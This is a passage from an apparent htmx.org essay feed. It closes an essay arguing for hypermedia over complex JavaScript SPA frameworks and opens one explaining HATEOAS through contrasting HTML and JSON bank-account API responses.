&lt;h2 id=&quot;transitional-applications&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#transitional-applications&quot; aria-label=&quot;Anchor link for: transitional-applications&quot;&gt;Transitional Applications&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Mr. Harris then discusses the concept of “transitional applications” which are a mix of both SPA and MPA technologies.
This terminology is reasonable, and we will see if the term sticks in the industry.&lt;&#x2F;p&gt;
&lt;p&gt;We often recommend using htmx for the parts of the app where it makes sense to keep things simple, and then using other
technologies when needed: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinejs.dev&#x2F;&quot;&gt;alpine.js&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;hyperscript&lt;&#x2F;a&gt;, a small reactive
framework, etc.&lt;&#x2F;p&gt;
&lt;p&gt;So we can agree with Mr. Harris here to an extent and recommend a “transitional” approach to web development, although
we would recommend leaning MPA&#x2F;hypermedia when possible, whereas it seems fairly certain Mr. Harris would lean SPA&#x2F;javascript.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-elephant-in-the-room-complexity&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-elephant-in-the-room-complexity&quot; aria-label=&quot;Anchor link for: the-elephant-in-the-room-complexity&quot;&gt;The Elephant In The Room: Complexity&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Unfortunately, there is a topic that Mr. Harris does not discuss, and we believe this may be because he doesn’t see it.  He is a javascript developer who is passionate about that language and who swims in the engineering culture of front end frameworks, so the current &lt;em&gt;complexity&lt;&#x2F;em&gt; of javascript front end development seems natural to him.  For many of us, however,  the javascript ecosystem is simply &lt;em&gt;insanely&lt;&#x2F;em&gt; overly-complicated.  Comically so, in fact, given the requirements of most web applications.&lt;&#x2F;p&gt;
&lt;p&gt;Many of the “transitional” technologies that Mr. Harris goes on to mention: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;vercel.com&#x2F;blog&#x2F;everything-about-react-server-components&quot;&gt;React Server Components&lt;&#x2F;a&gt; (which he calls “like html over the wire, but vastly more sophisticated), &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;markojs.com&#x2F;&quot;&gt;Marko&lt;&#x2F;a&gt; (which is doing “partial hydration”), &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;BuilderIO&#x2F;qwik&quot;&gt;Quik&lt;&#x2F;a&gt; (which aggressively lazy loads things, apparently), are all remarkable engineering achievements, but are also all, we must say, quite complicated.&lt;&#x2F;p&gt;
&lt;p&gt;This is, unfortunately, part of the culture of front end development right now: sky-high levels of complexity are tolerated in application frameworks, in build tool chains, in deployment models and so on, and, when problems arise due to all this complexity, more complexity is often offered as the answer.&lt;&#x2F;p&gt;
&lt;p&gt;“Simple” is disparaging and “sophisticated” is high praise.&lt;&#x2F;p&gt;
&lt;p&gt;This complexity is overwhelming many developers and development teams today.  As Mr. Harris himself points out when discussing Instagram, even some of
the best front-end engineers in the world appear to be unable to keep it all under control.&lt;&#x2F;p&gt;
&lt;p&gt;So there is a cultural issue here.&lt;&#x2F;p&gt;
&lt;p&gt;There is a technical issue as well.&lt;&#x2F;p&gt;
&lt;p&gt;This technical issue can be summarized as “The Hypermedia Approach” vs. “The Remote Procedure Call (RPC) Approach”.&lt;&#x2F;p&gt;
&lt;p&gt;When web applications moved from MPAs to SPAs, they adopted, often unwittingly, an RPC approach to application development:
AJAX moved to JSON as a data serialization format and largely (&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-apis-vs-data-apis&#x2F;&quot;&gt;and correctly&lt;&#x2F;a&gt;)
abandoned the hypermedia concept.   This abandonment of The Hypermedia Approach was driven by the admitted usability
issues with vanilla MPAs.&lt;&#x2F;p&gt;
&lt;p&gt;It turns out, however, that those usability issues often &lt;em&gt;can&lt;&#x2F;em&gt; &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;&quot;&gt;be addressed&lt;&#x2F;a&gt; using The Hypermedia Approach:
rather than &lt;em&gt;abandoning&lt;&#x2F;em&gt; Hypermedia for RPC, what we needed then and what we need today is a &lt;em&gt;more powerful&lt;&#x2F;em&gt; Hypermedia.&lt;&#x2F;p&gt;
&lt;p&gt;This is exactly what htmx gives you.&lt;&#x2F;p&gt;
&lt;p&gt;By returning to The Hypermedia Approach, you can build reasonably sophisticated web applications that address many of
Mr. Harris’s concerns regarding MPAs at a fraction of the complexity required by most popular SPA frameworks.  Further, without
thinking about it very much, you will get all &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Representational_state_transfer#Architectural_concepts&quot;&gt;the benefits&lt;&#x2F;a&gt;
that Roy Fielding outlined about truly REST-ful architectures.&lt;&#x2F;p&gt;
&lt;p&gt;Is The Hypermedia Architecture right for all web applications?  Obviously not.&lt;&#x2F;p&gt;
&lt;p&gt;Is it right for many, and perhaps most, web applications?  We certainly think so, at least in part.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;javascript-the-resistance&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#javascript-the-resistance&quot; aria-label=&quot;Anchor link for: javascript-the-resistance&quot;&gt;Javascript: The Resistance&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Now we get to the most emotionally charged claim made in the talk: that “the ship has sailed” on javascript, and that
we should accept that it will be the dominant programming language in web development going forward.&lt;&#x2F;p&gt;
&lt;p&gt;Mr. Harris believes that it will be &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Edge_computing&quot;&gt;edge computing&lt;&#x2F;a&gt; that will be the
driver that finally eliminates the remaining, scattered opposition to javascript.&lt;&#x2F;p&gt;
&lt;p&gt;We are not so sure about that.&lt;&#x2F;p&gt;
&lt;p&gt;To the contrary, we do not expect edge computing to figure in the majority of web applications for the foreseeable future.
Or, to be frank, ever. CPU is cheap, network speeds are fast and increasing and microservices are a mess.&lt;&#x2F;p&gt;
&lt;p&gt;And, contra what Mr. Harris says, today the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;insights.stackoverflow.com&#x2F;trends?tags=java%2Cc%2Cc%2B%2B%2Cpython%2Cc%23%2Cvb.net%2Cjavascript%2Cassembly%2Cphp%2Cperl%2Cruby%2Cvb%2Cswift%2Cr%2Cobjective-c&quot;&gt;trend is not obviously in javascripts favor&lt;&#x2F;a&gt;.  Five years ago, we, as founding members
of the javascript resistance, were despairing of any hope of stopping the Javascript juggernaut.  But then something
unexpected happened: Python took off and, at the same time, javascript flat lined:&lt;&#x2F;p&gt;
&lt;div style=&quot;text-align:center&quot;&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;language-trends-so.png&quot; alt=&quot;Javascript Devs&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;This trend of javascript peaking in the mid-2010’s can be observed &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.benfrederickson.com&#x2F;ranking-programming-languages-by-github-users&#x2F;&quot;&gt;on GitHub&lt;&#x2F;a&gt; as well:&lt;&#x2F;p&gt;
&lt;div style=&quot;text-align:center&quot;&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;language-trends-github.png&quot; alt=&quot;Javascript Devs&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;Now, does this mean javascript will eventually “lose” to Python and go away?&lt;&#x2F;p&gt;
&lt;p&gt;Of course not.  Javascript is a core technology of the web and will be with us forever.  Without it, we couldn’t have built
htmx (or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;hyperscript&lt;&#x2F;a&gt;) so we are very thankful for javascript.&lt;&#x2F;p&gt;
&lt;p&gt;But this &lt;em&gt;does&lt;&#x2F;em&gt; imply that the future of the web does not &lt;em&gt;necessarily&lt;&#x2F;em&gt; belong &lt;em&gt;entirely&lt;&#x2F;em&gt; to javascript, as appeared to be the case
say five years ago.&lt;&#x2F;p&gt;
&lt;p&gt;We are fond of talking about the HOWL stack: Hypermedia On Whatever you’d Like.  The idea is that, by returning to a (more powerful) Hypermedia Architecture, you can use whatever backend language you’d like: python, lisp, haskell, go, java, c#, whatever.  Even javascript, if you like.&lt;&#x2F;p&gt;
&lt;p&gt;Since you are using hypermedia &amp;amp; HTML for your server interactions, you don’t feel that pressure to adopt javascript on
the backend that a huge javascript front end produces.  You can still use javascript, of course, (perhaps in the form of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinejs.dev&#x2F;&quot;&gt;alpine.js&lt;&#x2F;a&gt;)
but you use it in the manner it was originally intended: as a light, front end scripting language for enhancing your
application.  Or, if you are brave, perhaps you can try &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;hyperscript&lt;&#x2F;a&gt; for these needs.&lt;&#x2F;p&gt;
&lt;p&gt;This is a world we would prefer to live in: many programming language options, each with their own strengths, technical cultures and thriving
communities, all able to participate in the web development world through the magic of more powerful hypermedia, rather than a
monolith of SPAs-talking-to-Node-in-JSON.  Diversity, after all, is our strength.&lt;&#x2F;p&gt;
&lt;p&gt;In conclusion,&lt;&#x2F;p&gt;
&lt;div style=&quot;text-align:center&quot;&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;js-devs-be-thinking.png&quot; alt=&quot;Javascript Devs&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>HATEOAS</title>
        <published>2021-10-16T00:00:00+00:00</published>
        <updated>2022-02-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/hateoas/"/>
        <id>https://htmx.org/essays/hateoas/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/hateoas/">&lt;link rel=&quot;preconnect&quot; href=&quot;https:&#x2F;&#x2F;fonts.googleapis.com&quot;&gt;
&lt;link rel=&quot;preconnect&quot; href=&quot;https:&#x2F;&#x2F;fonts.gstatic.com&quot; crossorigin&gt;
&lt;link href=&quot;https:&#x2F;&#x2F;fonts.googleapis.com&#x2F;css2?family=Lexend+Zetta:wght@900&amp;display=swap&amp;text=HATEOAS&quot; rel=&quot;stylesheet&quot;&gt;
&lt;link href=&quot;https:&#x2F;&#x2F;fonts.googleapis.com&#x2F;css2?family=Lexend+Zetta:wght@900&amp;display=swap&quot; rel=&quot;stylesheet&quot;&gt;
&lt;link href=&quot;https:&#x2F;&#x2F;fonts.googleapis.com&#x2F;css2?family=Source+Serif+Pro:ital,wght@0,400;0,600;0,700;1,400;1,700&amp;display=swap&quot; rel=&quot;stylesheet&quot;&gt;
&lt;h1&gt;HATEOAS&lt;&#x2F;h1&gt;
&lt;section&gt;
&lt;h2 id=&quot;preface-hateoas-an-alternative-explanation&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#preface-hateoas-an-alternative-explanation&quot; aria-label=&quot;Anchor link for: preface-hateoas-an-alternative-explanation&quot;&gt;Preface: &lt;em&gt;HATEOAS — An Alternative Explanation&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;This page is a reworking on the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;HATEOAS&quot;&gt;Wikipedia Entry on HATEOAS&lt;&#x2F;a&gt;, which uses JSON.
Here we use HTML to explain the concept, and contrast it with JSON APIs.  It is a more opinionated explanation of the
concept than would be appropriate for Wikipedia, but it is more correct in our opinion.&lt;&#x2F;p&gt;
&lt;&#x2F;section&gt;
&lt;p&gt;Hypermedia as the Engine of Application State (HATEOAS) is a constraint of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Representational_state_transfer&quot;&gt;REST application architecture&lt;&#x2F;a&gt; that distinguishes it from other network application architectures.&lt;&#x2F;p&gt;
&lt;p&gt;With HATEOAS, a client interacts with a network application whose application servers provide information dynamically through &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Hypermedia&quot;&gt;&lt;em&gt;hypermedia&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;. A REST client needs little to no prior knowledge about how to interact with an application or server beyond a generic understanding of hypermedia.&lt;&#x2F;p&gt;
&lt;p&gt;By contrast, today JSON-based web clients typically interact through a fixed interface shared through documentation via a tool
such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;swagger.io&#x2F;&quot;&gt;swagger&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The restrictions imposed by HATEOAS decouples client and server. This enables server functionality to evolve independently.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;example&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#example&quot; aria-label=&quot;Anchor link for: example&quot;&gt;Example&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A user-agent that implements HTTP makes a HTTP request of a REST end point through a simple URL. All subsequent requests the user-agent may make are discovered within the hypermedia responses to each request. The media types used for these representations, and the link relations they may contain, are standardized. The client transitions through application states by selecting from links within a hypermedia representation or by manipulating the representation in other ways afforded by its media type.&lt;&#x2F;p&gt;
&lt;p&gt;In this way, RESTful interaction is driven by hypermedia, rather than out-of-band information.&lt;&#x2F;p&gt;
&lt;p&gt;A concrete example will clarify this.  Consider this GET request, issued by a web browser, which fetches a bank account resource:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;GET &#x2F;accounts&#x2F;12345 HTTP&#x2F;1.1
&lt;&#x2F;span&gt;&lt;span&gt;Host: bank.example.com
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The server responds with a hypermedia representation using HTML:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;HTTP&#x2F;1.1 200 OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Account number: 12345&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Balance: $100.00 USD&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Links:
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;deposits&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;withdrawals&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;transfers&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;transfers&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;close-requests&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;close-requests&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The response contains following possible follow-up actions: navigate to a UI to enter a deposit, withdrawal, transfer, or to close request (to close the account).&lt;&#x2F;p&gt;
&lt;p&gt;Consider the situation at a later point, after the account has been overdrawn.  Now, a different set of links are available due to this
account status change.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;HTTP&#x2F;1.1 200 OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Account number: 12345&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Balance: -$50.00 USD&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Links:
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;deposits&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Only one link is available: to deposit more money. In the accounts current overdrawn state the other actions are not available, and
this fact is reflected internally in &lt;em&gt;the hypermedia&lt;&#x2F;em&gt;.  The web browser does not know about the concept of an overdrawn account or,
indeed, even what an account is.  It simply knows how to present hypermedia representations to a user.&lt;&#x2F;p&gt;
&lt;p&gt;Hence we have the notion of the Hypermedia being the Engine of Application State. What actions are possible varies as the
state of the resource varies and this information is encoded in the hypermedia.&lt;&#x2F;p&gt;
&lt;p&gt;Contrast the HTML response above with a typical JSON API which, instead, might return a representation of the account with a
status field:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;HTTP&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;1.1 200&lt;&#x2F;span&gt;&lt;span&gt; OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account_number&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;12345&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;balance&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;currency&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;usd&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;-50.00
&lt;&#x2F;span&gt;&lt;span&gt;        },
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;status&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;overdrawn&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here we can see that the client must know specifically what the value of the &lt;code&gt;status&lt;&#x2F;code&gt; field means and how it might affect
the rendering of a user interface, and what actions can be taken with it.  The client must also know what URLs must be used
for manipulation of this resource since they are not encoded in the response.  This would typically be achieved by
consulting documentation for the JSON API.&lt;&#x2F;p&gt;
&lt;p&gt;It is this requirement of out-of-band information that distinguishes this JSON API from a RESTful API that implements
HATEOAS.&lt;&#x2F;p&gt;
&lt;p&gt;This shows the core difference between the two approaches: in the RESTful, HATEOAS HTML representation, all operations are encoded
directly in the response.  In the JSON API example, out-of-band information is necessary for processing and working with
the remote resource.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;origins&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#origins&quot; aria-label=&quot;Anchor link for: origins&quot;&gt;Origins&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The HATEOAS constraint is an essential part of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Representational_state_transfer#Uniform_interface&quot;&gt;“uniform interface”&lt;&#x2F;a&gt; feature of REST, as defined in Roy Fielding’s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;top.htm&quot;&gt;doctoral dissertation&lt;&#x2F;a&gt;. Fielding’s dissertation was a discussion of the
early web architecture, consisting mainly of HTML and HTTP at the time.&lt;&#x2F;p&gt;
&lt;p&gt;Fielding has further described the concept, and the crucial requirement of hypermedia, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;roy.gbiv.com&#x2F;untangled&#x2F;2008&#x2F;rest-apis-must-be-hypertext-driven&quot;&gt;on his blog&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hateoas-and-json&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hateoas-and-json&quot; aria-label=&quot;Anchor link for: hateoas-and-json&quot;&gt;HATEOAS and JSON&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;em&gt;NOTE: The Neutral Tone Of This Section is Disputed&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the early 2000s the concept of REST was appropriated from its initial conceptual environment as a description of the early web into other areas of web development: first XML API development (often using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;SOAP&quot;&gt;SOAP&lt;&#x2F;a&gt;) and then JSON API development.  This, despite the fact that neither XML nor JSON was a natural hypermedia in the same manner as HTML.&lt;&#x2F;p&gt;
